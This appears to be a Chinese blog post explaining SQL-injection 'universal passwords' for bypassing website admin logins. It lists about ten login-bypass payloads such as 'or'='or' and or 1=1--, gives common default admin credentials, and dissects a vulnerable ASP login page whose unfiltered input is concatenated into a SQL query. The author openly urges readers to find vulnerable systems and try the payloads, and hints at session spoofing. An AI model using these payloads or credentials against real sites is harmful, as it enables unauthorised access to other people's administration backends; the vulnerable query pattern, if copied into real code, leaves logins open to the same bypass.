SQL注入万能密码思路分析

网站后台万能密码就是在用户名与密码处都写入下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!
例如我们要利用第一条就是:
用户名:"or “a”="a
密码:"or “a”="a


1:"or “a”="a
2: ‘.).or.(’.a.’=’.a
3:or 1=1–
4:‘or 1=1–
5:a’or’ 1=1–
6:"or 1=1–
7:‘or.‘a.’=‘a
8:“or”="a’=‘a
9:‘or’’=’
10:‘or’=‘or’
原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的.
其实万能是没有的,默认是很多的,
admin
admin
admin
admin888
少数ASP网页后面登陆时可以用密码1’or’1’=‘1(用户名用admin等试)登陆成功。这一般也是SQL注入的第一课,原理涉及到SQL语句……验证登陆时,如果密码=输入的密码,那么登陆成功,把1’ or ‘1’='1带入即“如果密码=1或者1=1那么登成功”由于1=1恒成立,且“密码=1”与“1=1”是逻辑或的关系,则整句为TRUE,即登陆成功。这样说懂不?
其实后台万能登陆密码这个称号真的不那么专业,或许叫做“后台验证绕过语句”还好些,不过前者叫得普遍些。
这个语句就是’xor

xor估计很多人都知道,或者听说过,不就是异或么,他和or以及and都是一样的,但是or进行的是或运算,and进行的是与运算,异或xor则是不等的则是真,即比较的两个值不相同的就对,相同的就错,我搜了一下网上,几乎没有过滤参数,可以用经典’or’=‘or’进去的,‘xor都可以进去,大家可以尝试一下。
对网站万能密码’or’=‘or’的浅解
‘or’=‘or’漏洞是一个比较老的漏洞了,主要是出现在后台登录上,利用这个漏洞,我们可以不用输入密码就直接进入系统的后台.它出现的原因是在编程时逻辑上考虑不周,同时对单引号没有进行过滤,从而导致了漏洞的出现.先给大家简单介绍下漏洞的原理吧,只要大家搞懂了原理,就可以自己去找这样漏洞的系统了.
1:语句:’‘or’=‘or’ a’or’1=1-- ‘or1=1-- “or1=1-- or1=1-- 'or”="a’=‘a ‘) or (‘a’=‘a等等,
2:分析利用:我从站长网站下载了"织梦工作室企业全站程序(原良精)修正美化版"源代码,从中找到后台登录的页面"login.asp"其中有以下一段代码:
<%
(1)pwd = request.form(“pwd”) “获取客户端输入的密码,再把值赋给pwd”
(2)name = request.form(“name”) “获取客户端输入的用户名再把值赋给name”
都没有进行任何过滤
(3)Set rs = Server.CreateObject(“ADODB.Connection”) “利用Server对象的CreateObject方法创建ADO组件的Connection对象”
(4)sql = "select * from Manage_User where UserName=’" & name & "’ And PassWord=’"&encrypt(pwd)&"’" “将用户名和密码放入查询语句中查询数据库”
(5)Set rs = conn.Execute(sql) “执行SQL语句”
(6)If Not rs.EOF = True Then “当前的记录位于Connection对象的最后一个记录之前”
(7)Session(“Name”) = rs(“UserName”) “将UserName的属性赋给Name的Session自定义变量”
(8)Session(“pwd”) = rs(“PassWord”) “将PassWord的属性赋给pwd的Session自定义变量”
(9)Response.Redirect(“Manage.asp”)了 “利用Response对象的Redirect方法重定向"Manage.asp”
(10)Else
(11)Response.Redirect “Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!”
(12)End If
(13)end if
%>
从这段代码中,我们可以看到后台是采用"Session"验证的,大家知道,还有一种是采用"cookie"验证的,不过原理相同,从分析中,我们可以看到后台登录没有对客户输入的用户名和密码进行任何过滤,就交给了SQL语句查询,如果查询的记录是位于最后一条记录之前,刚设置Session变量UserName,PassWord的值分别为Name,pwd,并重定向到"Manage.asp".
从以上分析中.出现了很大的安全漏洞,问题就出现在第一,第二句,它们的功能是获得客户端输入的用户名和密码却没有进行任何的过滤,也不会去检查我们输入的数据,这样,我们就可以对其实行攻击,要实行攻击这种漏洞的问题关键就是使SQL语句的查询结果为真,这里我们又要用到or和and的逻辑运算的知识,我这里不详细的说,就讲二点,
第一:优先原则----出现or同时又出现and时,则先运算and运算符。
第二:and运算符意思,是"且",就是对二个表达式进行逻辑"与"运算(我这儿说的是"且"),而or运算符的意思,是"或",就是对二个表达式进行逻辑"或"运算。
下面是二个运算符的运算结果:
and逻辑运算的结果:真----真=真;假----真=假; 真----假=假; 假----假=假.
or逻辑运算的结果:真----真=真;假----真=真; 真----假=真; 假----假=假.
大家自己可以体会下
下面我们先来看代码中的SQL查询语句" sql = "select * from Manage_User where UserName=’" & name & “’ And PassWord=’”&encrypt(pwd)&"’ " ,要使这条语句执行为真,我们就要构造一个特殊的用户名,就可绕过程序的验证,进入后台,我们只要在用户名处输入’or’=‘or’,密码处随便输入字符(我们就输入000吧),这样上面的SQL语句就变成了sql = "select * from Manage_User where UserName=’‘or’=‘or’‘and PassWord=‘000’"那么where后的语句转换成逻辑语句后为假or真or假and假,通过简单的运算,则最终为真,而SQL语句的查询结果也变成真了,这样大家可能还不怎么听得懂,我换成另一条语句:1’ or 1=1 or ‘1’='1,那么SQL语句就变成了sql = "select * from Manage_User where UserName=‘1’ or 1=1 or ‘1’=‘1’ and PassWord=‘000’"大家知道,在逻辑表达式中’1’是为假,1=1总为真吧,‘1’='1’也为真,而密码我们是随便输入的所以为假,那么where后的语句转换成逻辑语句后为假or真or真and假,最终的运算结果也为真.这些大家自己慢慢的去实践,去体会,我相信大家都会搞懂的,大家还可以自己构造一些语句去验证下.
对于Session验证的,我们还可以进行Session欺骗(大家都知道cookie欺骗登录了吧,呵呵),假设我们知道这个系统的管理员的用户名为admin,那么我们只需在密码处输入的语句使它的运算结果为真就行了,这儿留给大家自己构造.
coolie验证的登录原理和Session"验证的相同,只要大家构造的语句使的SQL的执行为真就行了,这是关键哟,大家可记住了!

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值